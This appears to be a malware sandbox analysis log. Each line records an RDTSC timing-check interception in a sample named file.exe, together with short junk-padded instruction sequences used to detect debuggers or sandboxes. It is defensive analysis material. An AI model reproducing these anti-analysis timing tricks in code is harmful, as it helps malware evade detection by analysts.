Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0154B second address: F01558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F01558 second address: F0155E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0155E second address: F01573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FEA44C7ED48h 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FEA44C7ED46h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79270 second address: E7928D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FEA44C4CAC2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75B7C second address: E75B9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED59h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75B9B second address: E75BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75BA1 second address: E75BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75BA5 second address: E75BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75BAB second address: E75BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75BB9 second address: E75BBF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E75BBF second address: E75BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F096E8 second address: F096F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F096F3 second address: F096F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F096F9 second address: F096FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DBB7 second address: F0DBC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FEA44C7ED46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0DBC3 second address: F0DBC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11930 second address: F11936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11A79 second address: F11A83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FEA44C4CAB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11BDE second address: F11BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA44C7ED51h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11BF6 second address: F11C26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABBh 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEA44C4CABDh 0x00000014 jnl 00007FEA44C4CABEh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11C26 second address: F11C2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11C2B second address: F11C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11C38 second address: F11C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11D8D second address: F11DBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FEA44C4CABDh 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FEA44C4CAB6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11DBC second address: F11DC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F167CA second address: F167CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F167CF second address: F167FB instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEA44C7ED53h 0x00000008 jmp 00007FEA44C7ED4Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FEA44C7ED50h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F167FB second address: F1682F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FEA44C4CAB8h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007FEA44C4CABCh 0x00000014 jmp 00007FEA44C4CAC7h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16C21 second address: F16C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16C27 second address: F16C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17076 second address: F170A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jmp 00007FEA44C7ED4Fh 0x0000000f pop ecx 0x00000010 jmp 00007FEA44C7ED53h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F170A3 second address: F170A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F170A9 second address: F170AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1720D second address: F17218 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FEA44C4CAB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17218 second address: F1721E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1721E second address: F17227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17227 second address: F1722D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E1D3 second address: F1E1D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E330 second address: F1E33F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FEA44C7ED46h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E613 second address: F1E61D instructions: 0x00000000 rdtsc 0x00000002 je 00007FEA44C4CAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E8CF second address: F1E8D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E8D7 second address: F1E8DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E8DC second address: F1E8E1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E8E1 second address: F1E8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FEA44C4CAB6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E8F2 second address: F1E90A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEA44C7ED4Ch 0x0000000c push eax 0x0000000d pop eax 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E90A second address: F1E911 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F1B7 second address: F1F1DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED53h 0x00000007 jmp 00007FEA44C7ED4Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F1DC second address: F1F1E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F1E2 second address: F1F1E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1FD8D second address: F1FDA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FEA44C4CACAh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1FDA9 second address: F1FDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23121 second address: F23150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jmp 00007FEA44C4CAC2h 0x0000000c jmp 00007FEA44C4CAC3h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F232FC second address: F23325 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEA44C7ED46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jl 00007FEA44C7ED56h 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FEA44C7ED4Eh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F234C9 second address: F234F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC8h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEA44C4CABEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F234F5 second address: F234F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F234F9 second address: F2352A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEA44C4CAC3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEA44C4CAC4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2366F second address: F23693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007FEA44C7ED46h 0x0000000c popad 0x0000000d jmp 00007FEA44C7ED4Eh 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 push esi 0x00000017 pop esi 0x00000018 pushad 0x00000019 popad 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F237D2 second address: F237D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F237D6 second address: F23805 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEA44C7ED53h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FEA44C7ED56h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23805 second address: F23840 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEA44C4CAC1h 0x00000008 jnl 00007FEA44C4CAB6h 0x0000000e push eax 0x0000000f pop eax 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jg 00007FEA44C4CABCh 0x0000001c push eax 0x0000001d jno 00007FEA44C4CAB6h 0x00000023 pop eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F239B6 second address: F239BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F239BA second address: F239FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FEA44C4CAC8h 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 push esi 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop esi 0x00000015 popad 0x00000016 jp 00007FEA44C4CAD0h 0x0000001c jmp 00007FEA44C4CABCh 0x00000021 jc 00007FEA44C4CABEh 0x00000027 pushad 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F23B36 second address: F23B58 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEA44C7ED46h 0x00000008 jmp 00007FEA44C7ED55h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2875B second address: F28760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F28760 second address: F28768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FFA1 second address: F2FFA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FFA9 second address: F2FFB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FFB1 second address: F2FFB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FFB7 second address: F2FFCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FEA44C7ED4Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FFCF second address: F2FFDF instructions: 0x00000000 rdtsc 0x00000002 je 00007FEA44C4CAC2h 0x00000008 ja 00007FEA44C4CAB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E1DE second address: F2E1E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E1E2 second address: F2E1E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E1E6 second address: F2E1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FEA44C7ED46h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E1F4 second address: F2E1FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E1FE second address: F2E202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E397 second address: F2E3CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jc 00007FEA44C4CAB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FEA44C4CAC9h 0x00000012 jmp 00007FEA44C4CABBh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E3CD second address: F2E3D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E6AA second address: F2E6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E818 second address: F2E82F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEA44C7ED50h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2EDB3 second address: F2EDB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2EEF6 second address: F2EEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2EEFC second address: F2EF00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DD77 second address: F2DD7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DD7B second address: F2DDA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FEA44C4CAC7h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38D0C second address: F38D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA44C7ED4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38D1C second address: F38D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3875A second address: F3875E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3875E second address: F38795 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEA44C4CAC2h 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FEA44C4CAC9h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38795 second address: F3879B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3879B second address: F3879F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F45FD3 second address: F46001 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEA44C7ED46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FEA44C7ED4Bh 0x00000010 jmp 00007FEA44C7ED56h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F579E2 second address: F579E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F579E8 second address: F579F2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEA44C7ED46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F579F2 second address: F57A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 je 00007FEA44C4CAD0h 0x0000000d push esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007FEA44C4CAB6h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57A0D second address: F57A13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F606C3 second address: F606C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F606C7 second address: F606DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 jl 00007FEA44C7ED52h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F374 second address: F5F378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F378 second address: F5F387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FEA44C7ED46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
